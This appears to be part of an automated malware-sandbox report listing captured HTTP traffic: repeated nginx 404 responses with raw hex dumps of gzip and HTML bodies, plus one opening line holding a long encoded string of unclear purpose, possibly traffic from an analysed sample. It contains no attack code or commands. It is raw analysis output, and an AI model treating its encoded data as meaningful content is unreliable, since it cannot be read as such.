42 35 33 49 4e 6b 2b 62 31 67 48 6a 34 6d 5a 57 58 6c 6c 6a 6c 68 43 78 51 4f 45 43 73 68 74 38 74 57 51 3d 3d Data Ascii: fvM8Gh=SHIpoeY+STTSk5h3jj3iRXtns3Dg94CaMfKjUVdbtAmkHyXBWe/Bx3NKkRJR5Iz/1MzYvdLCtFw9tjcllbRHiVC5HLDaQpECBWSmY3QrJzKCJ0xm8tLXqb7LDKcSwY6XHsANJgiAxDcJbvHWvvnuXQn8e7AeAA8I+qAKyMEasXp6wJpB53INk+b1gHj4mZWXlljlhCxQOECsht8tWQ==
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 23 Oct 2024 05:03:27 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingETag: W/"66cd104a-b96"Content-Encoding: gzipData Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f 17 de 44 ff 37 28 b7 c7 cd 9d 29 bd 13 bd 53 74 17 91 d5 0f 16 37 b9 4a cd 61 81 e8 f6 01 b1 fe a9 d7 77 ea 47 2e e5 15 7a 7c 51 12 ca 9f 26 38 55 16 eb 6a 81 12 58 42 5d b7 f4 af 4f dc 3b 67 7d da db 7c 35 c5 17 bd 40 9c f8 52 6f 26 69 3c e8 62 9d db 05 0a 29 fd 7e c2 4b 6d 41 35 6e b6 2a 29 aa 35 e4 9c 12 ca 07 35 fd aa 41 5a ad d9 2c 90 00 f7 2f 97 73 a4 76 ae 11 57 72 aa a8 74 dd bb d8 16 db 02 31 4a 9f 9d 80 eb ce 3b b5 b3 e6 84 5e ea 6c 4a ee b5 aa aa d8 28 ab 3f 7d ea 07 69 af bd 9b 16 a6 c2 e9 ae 6e 07 60 aa 79 71 c6 cb 8a b2 c4 1b 93 42 9a 20 98 fc 9b 8a 33 95 ea b7 d5 85 5a b7 a3 16 a8 63 4e 71 45 95 99 5e 78 cc ab 8c fd 24 eb 57 00 2c 9e 92 7a 9c ae 6b 53 9f 01 93 98 33 1e 9e 00 27 a4 1e 78 50 75 05 4b 74 06 cd b2 24 11 e2 04 3a 21 f5 d0 66 97 24 ba 69 ce dd 55 77 ca 3f b5 3a 21 0d 61 c2 72 e2 12 56 46 f7 e8 bc af 2a 26 f8 50 0d c3 0a 8f 94 1e 9b ea 26 a9 8b 6d 9b 46 57 ce 67 f6 43 ea ae ef 97 21 3b a9 e6 ae c8 19 e1 63 91 43 3b d0 78 70 87 9f 55 61 66 8c 1d 4b 70 5a ae fe 58 c4 13 b5 b0 ef 7a ad e7 55 91 ea 52 1d 31 6b 2e cb cd 31 c6 5a eb 60 3f df eb 63 56 43 c1 34 e8 a4 9a b2 da 6c fa e1 cc b8 10 2d 20 fb c8 bf 76 bb dd 5c f0 d9 84 ef 5e cb f9 d0 78 97 f3 fe 3c 58 ba 06 dc f6 e4 b4 d8 a3 a4 54 4d b3 f2 c6 fd e7 b5 3d 7a ca aa cd a1 23 9e 01 ca 9e 7a 42 be dc 71 67 5b 65 00 c1 89 b0 5f f7 c3 59 0f 6e 77 c7 a4 76 32 85 3f ef 74 d3 66 2e 29 ea a4 d4 de 80 78 d8 94 15 20 72 6b b7 8b f9 fc 70 38 90 83 20 a6 5e cf 39 a5 74 0e aa 47 49 77 ac bd 32 0f 2b 8f 22 8a 24 e3 ee 19 98 83 2f b3 e5 56 d9 7c 98 cc d2 95 f7 4e 52 1f ba 6b 90 50 a8 d0 80 c4 71 88 19 63 84 fa 02 71 3f c2 f0 b8 ef 6d 84 44 cc 1d 17 45 4e fa 26 42 8c c5 84 46 a2 fb 82 74 4b 47 51 e3 10 ad 86 a8 d5 e0 9e 2f ef 78 c0 49 20 25 8a 69 82 a5 4f
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 23 Oct 2024 05:03:29 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingETag: W/"66cd104a-b96"Content-Encoding: gzipData Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f 17 de 44 ff 37 28 b7 c7 cd 9d 29 bd 13 bd 53 74 17 91 d5 0f 16 37 b9 4a cd 61 81 e8 f6 01 b1 fe a9 d7 77 ea 47 2e e5 15 7a 7c 51 12 ca 9f 26 38 55 16 eb 6a 81 12 58 42 5d b7 f4 af 4f dc 3b 67 7d da db 7c 35 c5 17 bd 40 9c f8 52 6f 26 69 3c e8 62 9d db 05 0a 29 fd 7e c2 4b 6d 41 35 6e b6 2a 29 aa 35 e4 9c 12 ca 07 35 fd aa 41 5a ad d9 2c 90 00 f7 2f 97 73 a4 76 ae 11 57 72 aa a8 74 dd bb d8 16 db 02 31 4a 9f 9d 80 eb ce 3b b5 b3 e6 84 5e ea 6c 4a ee b5 aa aa d8 28 ab 3f 7d ea 07 69 af bd 9b 16 a6 c2 e9 ae 6e 07 60 aa 79 71 c6 cb 8a b2 c4 1b 93 42 9a 20 98 fc 9b 8a 33 95 ea b7 d5 85 5a b7 a3 16 a8 63 4e 71 45 95 99 5e 78 cc ab 8c fd 24 eb 57 00 2c 9e 92 7a 9c ae 6b 53 9f 01 93 98 33 1e 9e 00 27 a4 1e 78 50 75 05 4b 74 06 cd b2 24 11 e2 04 3a 21 f5 d0 66 97 24 ba 69 ce dd 55 77 ca 3f b5 3a 21 0d 61 c2 72 e2 12 56 46 f7 e8 bc af 2a 26 f8 50 0d c3 0a 8f 94 1e 9b ea 26 a9 8b 6d 9b 46 57 ce 67 f6 43 ea ae ef 97 21 3b a9 e6 ae c8 19 e1 63 91 43 3b d0 78 70 87 9f 55 61 66 8c 1d 4b 70 5a ae fe 58 c4 13 b5 b0 ef 7a ad e7 55 91 ea 52 1d 31 6b 2e cb cd 31 c6 5a eb 60 3f df eb 63 56 43 c1 34 e8 a4 9a b2 da 6c fa e1 cc b8 10 2d 20 fb c8 bf 76 bb dd 5c f0 d9 84 ef 5e cb f9 d0 78 97 f3 fe 3c 58 ba 06 dc f6 e4 b4 d8 a3 a4 54 4d b3 f2 c6 fd e7 b5 3d 7a ca aa cd a1 23 9e 01 ca 9e 7a 42 be dc 71 67 5b 65 00 c1 89 b0 5f f7 c3 59 0f 6e 77 c7 a4 76 32 85 3f ef 74 d3 66 2e 29 ea a4 d4 de 80 78 d8 94 15 20 72 6b b7 8b f9 fc 70 38 90 83 20 a6 5e cf 39 a5 74 0e aa 47 49 77 ac bd 32 0f 2b 8f 22 8a 24 e3 ee 19 98 83 2f b3 e5 56 d9 7c 98 cc d2 95 f7 4e 52 1f ba 6b 90 50 a8 d0 80 c4 71 88 19 63 84 fa 02 71 3f c2 f0 b8 ef 6d 84 44 cc 1d 17 45 4e fa 26 42 8c c5 84 46 a2 fb 82 74 4b 47 51 e3 10 ad 86 a8 d5 e0 9e 2f ef 78 c0 49 20 25 8a 69 82 a5 4f
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 23 Oct 2024 05:03:32 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingETag: W/"66cd104a-b96"Content-Encoding: gzipData Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f 17 de 44 ff 37 28 b7 c7 cd 9d 29 bd 13 bd 53 74 17 91 d5 0f 16 37 b9 4a cd 61 81 e8 f6 01 b1 fe a9 d7 77 ea 47 2e e5 15 7a 7c 51 12 ca 9f 26 38 55 16 eb 6a 81 12 58 42 5d b7 f4 af 4f dc 3b 67 7d da db 7c 35 c5 17 bd 40 9c f8 52 6f 26 69 3c e8 62 9d db 05 0a 29 fd 7e c2 4b 6d 41 35 6e b6 2a 29 aa 35 e4 9c 12 ca 07 35 fd aa 41 5a ad d9 2c 90 00 f7 2f 97 73 a4 76 ae 11 57 72 aa a8 74 dd bb d8 16 db 02 31 4a 9f 9d 80 eb ce 3b b5 b3 e6 84 5e ea 6c 4a ee b5 aa aa d8 28 ab 3f 7d ea 07 69 af bd 9b 16 a6 c2 e9 ae 6e 07 60 aa 79 71 c6 cb 8a b2 c4 1b 93 42 9a 20 98 fc 9b 8a 33 95 ea b7 d5 85 5a b7 a3 16 a8 63 4e 71 45 95 99 5e 78 cc ab 8c fd 24 eb 57 00 2c 9e 92 7a 9c ae 6b 53 9f 01 93 98 33 1e 9e 00 27 a4 1e 78 50 75 05 4b 74 06 cd b2 24 11 e2 04 3a 21 f5 d0 66 97 24 ba 69 ce dd 55 77 ca 3f b5 3a 21 0d 61 c2 72 e2 12 56 46 f7 e8 bc af 2a 26 f8 50 0d c3 0a 8f 94 1e 9b ea 26 a9 8b 6d 9b 46 57 ce 67 f6 43 ea ae ef 97 21 3b a9 e6 ae c8 19 e1 63 91 43 3b d0 78 70 87 9f 55 61 66 8c 1d 4b 70 5a ae fe 58 c4 13 b5 b0 ef 7a ad e7 55 91 ea 52 1d 31 6b 2e cb cd 31 c6 5a eb 60 3f df eb 63 56 43 c1 34 e8 a4 9a b2 da 6c fa e1 cc b8 10 2d 20 fb c8 bf 76 bb dd 5c f0 d9 84 ef 5e cb f9 d0 78 97 f3 fe 3c 58 ba 06 dc f6 e4 b4 d8 a3 a4 54 4d b3 f2 c6 fd e7 b5 3d 7a ca aa cd a1 23 9e 01 ca 9e 7a 42 be dc 71 67 5b 65 00 c1 89 b0 5f f7 c3 59 0f 6e 77 c7 a4 76 32 85 3f ef 74 d3 66 2e 29 ea a4 d4 de 80 78 d8 94 15 20 72 6b b7 8b f9 fc 70 38 90 83 20 a6 5e cf 39 a5 74 0e aa 47 49 77 ac bd 32 0f 2b 8f 22 8a 24 e3 ee 19 98 83 2f b3 e5 56 d9 7c 98 cc d2 95 f7 4e 52 1f ba 6b 90 50 a8 d0 80 c4 71 88 19 63 84 fa 02 71 3f c2 f0 b8 ef 6d 84 44 cc 1d 17 45 4e fa 26 42 8c c5 84 46 a2 fb 82 74 4b 47 51 e3 10 ad 86 a8 d5 e0 9e 2f ef 78 c0 49 20 25 8a 69 82 a5 4f
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 23 Oct 2024 05:03:34 GMTContent-Type: text/html; charset=utf-8Content-Length: 2966Connection: closeVary: Accept-EncodingETag: "66cd104a-b96"Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 35 64 35 64 35 64 3b 0a 09 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 52 6f 62 6f 74 6f 2c 20 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 20 41 72 69 61 6c 2c 0a 09 09 09 09 09 22 4e 6f 74 6f 20 53 61 6e 73 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 2c 20 22 41 70 70 6c 65 20 43 6f 6c 6f 72 20 45 6d 6f 6a 69 22 2c 20 22 53 65 67 6f 65 20 55 49 20 45 6d 6f 6a 69 22 2c 20 22 53 65 67 6f 65 20 55 49 20 53 79 6d 62 6f 6c 22 2c 0a 09 09 09 09 09 22 4e 6f 74 6f 20 43 6f 6c 6f 72 20 45 6d 6f 6a 69 22 3b 0a 09 09 09 09 74 65 78 74 2d 73 68 61 64 6f 77 3a 20 30 70 78 20 31 70 78 20 31 70 78 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 37 35 29 3b 0a 09 09 09 09 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 09 09 09 7d 0a 0a 09 09 09 68 31 20 7b 0a 09 09 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 2e 34 35 65 6d 3b 0a 09 09 09 09 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 37 30 30 3b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 35 64 35 64 35 64 3b 0a 09 09 09 09 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 2d 30 2e 30 32 65 6d 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 33 30 70 78 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 6
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 23 Oct 2024 05:03:41 GMTContent-Type: text/htmlContent-Length: 148Connection: closeETag: "66a72cd5-94"Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 23 Oct 2024 05:03:44 GMTContent-Type: text/htmlContent-Length: 148Connection: closeETag: "66a72cd5-94"Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 23 Oct 2024 05:03:46 GMTContent-Type: text/htmlContent-Length: 148Connection: closeETag: "66a72cd5-94"Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 23 Oct 2024 05:03:50 GMTContent-Type: text/htmlContent-Length: 148Connection: closeETag: "66a72cd5-94"Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 23 Oct 2024 05:03:56 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 64 31 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cd 5a 6b 6f 1b c7 15 fd ee 5f 31 66 01 91 b4 b9 bb 51 52 18 b6 45 52 79 38 fd e4 24 05 e4 b4 28 14 85 18 2e 87 e4 9a fb ea ee 50 12 6d 0b 48 ec a4 49 10 23 46 d3 00 05 82 16 7d a1 e8 a7 02 f2 43 8d e2 87 f2 17 76 ff 51 cf 9d d9 5d 2e 29 52 7e c4 29 2a 40 12 39 3b 73 e7 ce bd e7 9e 7b 67 66 9b a7 7b 81 2d 27 a1 60 43 e9 b9 ed 26 fd 65 b6 cb e3 b8 55 71 e2 0e ef f1 50 3a db a2 c2 5c ee 0f 5a 95 68 5c 41 1f c1 7b ed a6 27 24 67 f6 90 47 b1 90 ad ca fb 57 7e 61 9c c7 33 d5 ea 73 4f b4 2a 21 8f 46 8e 3f a8 30 3b f0 a5 f0 d1 29 12 83 68 6c 44 90 39 db 73 db 11 3b 61 10 c9 52 d7 1d a7 27 87 ad 9e d8 76 6c 61 a8 2f 0d c7 77 a4 c3 5d 23 b6 b9 2b 5a ab 10 21 1d e9 8a f6 ce ce 8e 69 87 98 32 72 76 cd c0 77 1d 5f 34 2d fd a8 89 2f 23 16 09 b7 55 89 e5 c4 15 f1 50 08 cc e2 89 9e c3 5b 15 ee ba 15 36 8c 44 bf d0 55 e9 66 f0 b1 0c 4c 3b 8e 31 c3 74 bc 83 55 e4 bd fb 1c 6a 05 be 89 3f eb ab 15 46 e6 83 b5 3c 3e 10 d6 ae a1 3a b6 9b b1 1d 39 a1 6c 5b 67 9a a7 37 df ba f4 c6 95 37 36 cf 58 a7 76 1c bf 17 ec 98 32 e2 f6 68 43 75 b8 1c f0 1e 6b b1 fe d8 b7 a5 13 f8 b5 fa f5 bd b5 53 d6 99 ad ad f6 19 ab 69 65 42 32 61 0c 8b 43 f7 56 65 b1 98 5a d5 f2 b8 ef f4 45 2c cd ab 71 b5 5e 41 7f 11 45 41 f4 8c 03 1a 6c 15 63 e2 c8 6e 55 ca 82 e0 94 dc c9 63 d9 57 4e 7e 6e bd 08 31 f0 1b 59 24 7e 66 dd e6 07 95 f5 9b 7b 76 92 8e 96 86 6b 37 e8 4d 72 60 77 8d 10 be 62 fa 5f 87 dc d7 c9 c0 aa da 14 6c a7 9f 3a dd 41 c7 75 06 43 09 3c 90 2c 11 95 e5 a8 ce 9d 4e f6 80 44 ce b4 68 e9 19 e4 7b ce f6 d2 a1 86 1f 48 52 49 8a 5d 4c 94 7c 93 1c 25 8f 93 83 e4 09 4b be 4b f6 d3 8f f0 f1 7e 72 98 7e 9c de c4 e7 43 fc 1e 25 f7 92 7d 7a 7c 6f c5 ef c6 e1 5a 13 c1 a8 c3 b6 6b 10 6a 73 ac 0e a5 0c e3 8b 96 85 d8 33 11 bd 3a 18 fc a0 1f b8 6e b0 c3 fc 20 08 05 50 82 0f 88 03 a0 45 44 c0 33 8f 06 14 d3 9d 2e 82 7e 04 65 fe 4a b3 9b e9 47 e9 ad a6 c5 db 4d 0b eb 68 37 e7 16 33 10 9d 4e 16 e8 c6 4e c4 c3 10 42 33 03 cf b7 77 54 2c 76 10 0b 60 85 a5 9d 94 5b 86 41 2c c1 21 46 2c b9 74 6c 38 60 6e d6 19 5b 1b d9 fc e4 a7 d5 a9 35 e6 3c 62 28 6a a8 2c a6 8d e1 6a bb 19 2e 1f da 13 1a c4 88 d4 e7 77 55 b3 1b b5 93 43 ed ad e4 07 72 63 f2 83 72 ed c3 63 ce 9c b1 78 b8 6c d5 dd b1 94 81 1f e7 e6 c6 b2 4b 18 d0 0f a1 a5 fe 00 1f b8 41 d4 51 4e 16 be 4d 48 cb 1e c4 ce 35 d1 81 fb 3d ee 2a 5f 64 26 2d c6 17 e6 cb fa 2b bf 80 91 4b 22 42 de eb c1 4b 1d 97 80 33 0f 3c a2 67 0d 3e 6b 67 18 38 b1 b5 6e 0f 85 3d 6a ad f4 54 9a 58 c0 de 2b dc 0b d7 30 a4 13 07 e3 c8 16 ad 5c 03 e2 e5 4a fb d7 24 84 70 c8 ca cb a5 b0 29 ab af 88 bb 14 8d 27 2f a7 17 78 dc 29 e8 3d 0f 99 92 e6 ba 83 e5 8b 1d 6b 7d 2c bd 5c b3 45 ca d3 63 4a 30 63 2f 57 7c 85 9a 6c 2c 8a 3b 03 bf 15 c3 4c 7e af 03 51 27 af 33 f9 3b 60 f1 9f e4 80 a5 9f 26 47 e9 67 e9 2d 96 3c c8 49 e1 74 29 0e e3 90 fb 0b 10 1b 46 81 17 18 2
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 23 Oct 2024 05:03:59 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 64 31 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cd 5a 6b 6f 1b c7 15 fd ee 5f 31 66 01 91 b4 b9 bb 51 52 18 b6 45 52 79 38 fd e4 24 05 e4 b4 28 14 85 18 2e 87 e4 9a fb ea ee 50 12 6d 0b 48 ec a4 49 10 23 46 d3 00 05 82 16 7d a1 e8 a7 02 f2 43 8d e2 87 f2 17 76 ff 51 cf 9d d9 5d 2e 29 52 7e c4 29 2a 40 12 39 3b 73 e7 ce bd e7 9e 7b 67 66 9b a7 7b 81 2d 27 a1 60 43 e9 b9 ed 26 fd 65 b6 cb e3 b8 55 71 e2 0e ef f1 50 3a db a2 c2 5c ee 0f 5a 95 68 5c 41 1f c1 7b ed a6 27 24 67 f6 90 47 b1 90 ad ca fb 57 7e 61 9c c7 33 d5 ea 73 4f b4 2a 21 8f 46 8e 3f a8 30 3b f0 a5 f0 d1 29 12 83 68 6c 44 90 39 db 73 db 11 3b 61 10 c9 52 d7 1d a7 27 87 ad 9e d8 76 6c 61 a8 2f 0d c7 77 a4 c3 5d 